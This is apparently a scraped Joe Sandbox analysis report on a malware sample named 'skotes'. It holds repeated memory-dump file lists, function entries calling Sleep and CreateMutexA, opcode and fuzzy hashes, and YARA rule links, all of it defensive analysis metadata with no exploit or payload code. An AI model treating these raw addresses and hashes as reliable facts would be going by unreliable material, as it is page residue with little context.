Associated: 00000001.00000002.1812171451.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812187104.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812202087.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812217739.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812235458.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: 5711f3ba3a5d15d129fa6b1eb8258228baada1e846088d7c7cc287ddde6e88cc
Instruction ID: 17e5d2f28ca2102a13cd9df69b8d795ffb714183a5b05969c403e72c22e0006f
Opcode Fuzzy Hash: 5711f3ba3a5d15d129fa6b1eb8258228baada1e846088d7c7cc287ddde6e88cc
Instruction Fuzzy Hash: 12312C31B041009BFF08ABB8E89DB6DB771DF92314F648219E154972D5D7B55A808B62

Function 0018A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Strings

t, xrefs: 0018A998

Memory Dump Source

Source File: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000001.00000002.1811442623.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811462151.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811511921.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811524932.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811541135.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811631207.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811645568.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811689021.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811702031.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811715889.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811728998.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811747661.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811761471.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811776341.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811792409.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811810482.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811828155.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811842275.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811857268.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811872929.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811888306.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811903669.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811919430.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811934034.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811948520.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811963271.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811977991.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811992648.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812008044.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812022794.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812036662.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812052340.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812067786.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812081848.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812096504.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812114860.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812171451.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812187104.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812202087.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812217739.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812235458.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: c8517116d7174ae7246f76a762cb0155f431a5423e3e142822b64106ff40486c
Instruction ID: a5e656626b827917d1e3189469149ed675c3a1b3783d92554c6445c273d7a940
Opcode Fuzzy Hash: c8517116d7174ae7246f76a762cb0155f431a5423e3e142822b64106ff40486c
Instruction Fuzzy Hash: AE312E31B041049BFB08EBB8ECD976DB761DFD6314F648219E154D72D5C7759A808B22

Function 0018A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Strings

t, xrefs: 0018A998

Memory Dump Source

Source File: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000001.00000002.1811442623.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811462151.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811511921.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811524932.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811541135.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811631207.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811645568.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811689021.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811702031.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811715889.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811728998.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811747661.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811761471.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811776341.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811792409.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811810482.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811828155.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811842275.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811857268.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811872929.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811888306.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811903669.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811919430.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811934034.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811948520.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811963271.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811977991.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811992648.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812008044.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812022794.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812036662.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812052340.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812067786.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812081848.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812096504.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812114860.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812171451.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812187104.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812202087.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812217739.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812235458.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: a136c4b78f06f27fbb45c429e83e0e1ab13d4d5269880a33749776d64f20076e
Instruction ID: 5ea50afaf0ce904de787042ce2ebf9da7607813404297bfc12c0afff0df52251
Opcode Fuzzy Hash: a136c4b78f06f27fbb45c429e83e0e1ab13d4d5269880a33749776d64f20076e
Instruction Fuzzy Hash: F2314A31B042009BFB08EB7CECD9B6DB772DF82314F64821AE114E72D5D7759A808B62

Function 00189ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Strings

t, xrefs: 0018A998

Memory Dump Source

Source File: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000001.00000002.1811442623.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811462151.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811511921.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811524932.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811541135.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811631207.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811645568.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811689021.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811702031.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811715889.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811728998.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811747661.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811761471.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811776341.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811792409.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811810482.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811828155.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811842275.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811857268.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811872929.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811888306.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811903669.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811919430.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811934034.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811948520.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811963271.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811977991.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811992648.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812008044.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812022794.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812036662.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812052340.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812067786.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812081848.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812096504.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812114860.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812171451.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812187104.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812202087.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812217739.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812235458.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: 9ccc372a2b9db66a5ebab050a828a60dccc84d6a73e1d7e570a6ef168aa77449
Instruction ID: 8dda861cd462046c3e8999a1f865506497b0639f3cbf5eaab8ec971567502f02
Opcode Fuzzy Hash: 9ccc372a2b9db66a5ebab050a828a60dccc84d6a73e1d7e570a6ef168aa77449
Instruction Fuzzy Hash: 9D212831B046009BFB18AB68ECD9B7CB761EFC2314F244219E554D76D5C7756A808B12

Function 0018A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Strings

t, xrefs: 0018A998

Memory Dump Source

Source File: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000001.00000002.1811442623.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811462151.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811511921.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811524932.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811541135.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811631207.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811645568.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811689021.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811702031.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811715889.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811728998.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811747661.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811761471.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811776341.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811792409.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811810482.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811828155.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811842275.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811857268.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811872929.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811888306.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811903669.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811919430.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811934034.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811948520.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811963271.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811977991.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811992648.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812008044.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812022794.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812036662.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812052340.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812067786.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812081848.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812096504.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812114860.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812171451.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812187104.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812202087.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812217739.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812235458.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: b1ff838346564d8c4246a9c1d93d9a7af358a4560b6011122636c2c0390b3db7
Instruction ID: 9b9e612a920b6a1579cc569f865423824ee612fe5431ec2de00e8939209bfafe
Opcode Fuzzy Hash: b1ff838346564d8c4246a9c1d93d9a7af358a4560b6011122636c2c0390b3db7
Instruction Fuzzy Hash: 1B2136307482019BFB2877AC989AB3DB352DF92301F644917E244D72C1DB6A9B808B63

Function 0018A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Strings

t, xrefs: 0018A998

Memory Dump Source

Source File: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000001.00000002.1811442623.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811462151.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811511921.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811524932.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811541135.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811631207.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811645568.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811689021.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811702031.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811715889.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811728998.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811747661.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811761471.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811776341.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811792409.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811810482.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811828155.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811842275.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811857268.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811872929.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811888306.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811903669.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811919430.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811934034.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811948520.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811963271.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811977991.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811992648.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812008044.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812022794.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812036662.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812052340.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812067786.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812081848.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812096504.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812114860.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812171451.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812187104.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812202087.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812217739.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812235458.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: fbd3daae0ae09adcb2d727d78a6ef4e7c1d51f16aee9ab7426d356af48f33e28
Instruction ID: f030fa316d4ee6a8aec1194aaf9226aaa0c2c9a044db154215c587f802b7561d
Opcode Fuzzy Hash: fbd3daae0ae09adcb2d727d78a6ef4e7c1d51f16aee9ab7426d356af48f33e28
Instruction Fuzzy Hash: BC214931B04200ABFB18AB68EC9976CF762EFD2314F64421AE514D76D4C7756A808B62

Non-executed Functions

Function 001BCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001BCC66

Memory Dump Source

Source File: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000001.00000002.1811442623.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811462151.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811511921.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
